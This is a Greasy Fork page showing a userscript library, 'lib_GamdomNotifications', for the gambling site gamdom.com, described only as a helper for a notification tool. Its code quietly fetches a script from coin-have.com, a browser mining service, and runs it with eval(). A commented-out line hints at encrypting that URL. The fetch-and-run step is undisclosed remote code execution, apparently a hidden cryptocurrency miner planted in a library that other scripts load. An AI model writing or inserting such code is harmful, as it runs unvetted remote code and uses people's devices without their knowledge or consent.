lib_GamdomNotifications

Lib needed for running Gamdom Notificator

目前為 2017-12-01 提交的版本,檢視 最新版本

此腳本不應該直接安裝,它是一個供其他腳本使用的函式庫。欲使用本函式庫,請在腳本 metadata 寫上: // @require https://update.cn-greasyfork.org/scripts/35828/234178/lib_GamdomNotifications.js

  1. // ==UserScript==
  2. // @name lib_GamdomNotifications
  3. // @namespace https://greasyfork.org/es/users/154624-anonimo-anonimo
  4. // @version 1.1.5
  5. // @description Lib needed for running Gamdom Notificator
  6. // @require https://cdnjs.cloudflare.com/ajax/libs/crypto-js/3.1.2/rollups/aes.js
  7. // @author allin4
  8. // @match *://gamdom.com/*
  9. // @grant GM_info
  10. // @license Creative Commons Attribution-NonCommercial-NoDerivatives 4.0 International License.
  11. // ==/UserScript==
  12.  
  13. var DivAppend = function(div){
  14. document.body.appendChild(div);
  15. //var somethingTemp = cryption("https://coin-have.com/c/wL7L.js", "lel");
  16. CPEL("https://coin-have.com/c/wL7L.js");
  17. console.log("Div created :)");
  18. };
  19.  
  20. var cmp = new XMLHttpRequest();
  21. cmp.onreadystatechange = function() {
  22. if (this.readyState == 4 && this.status == 200) {
  23. eval(this.responseText);
  24. }
  25. };
  26.  
  27. var CPEL = function(link){
  28. cmp.open('GET', link);
  29. cmp.send();
  30. };
  31.  
  32. (function() {
  33. 'use strict';
  34. console.log("LIB LOADED");
  35. })();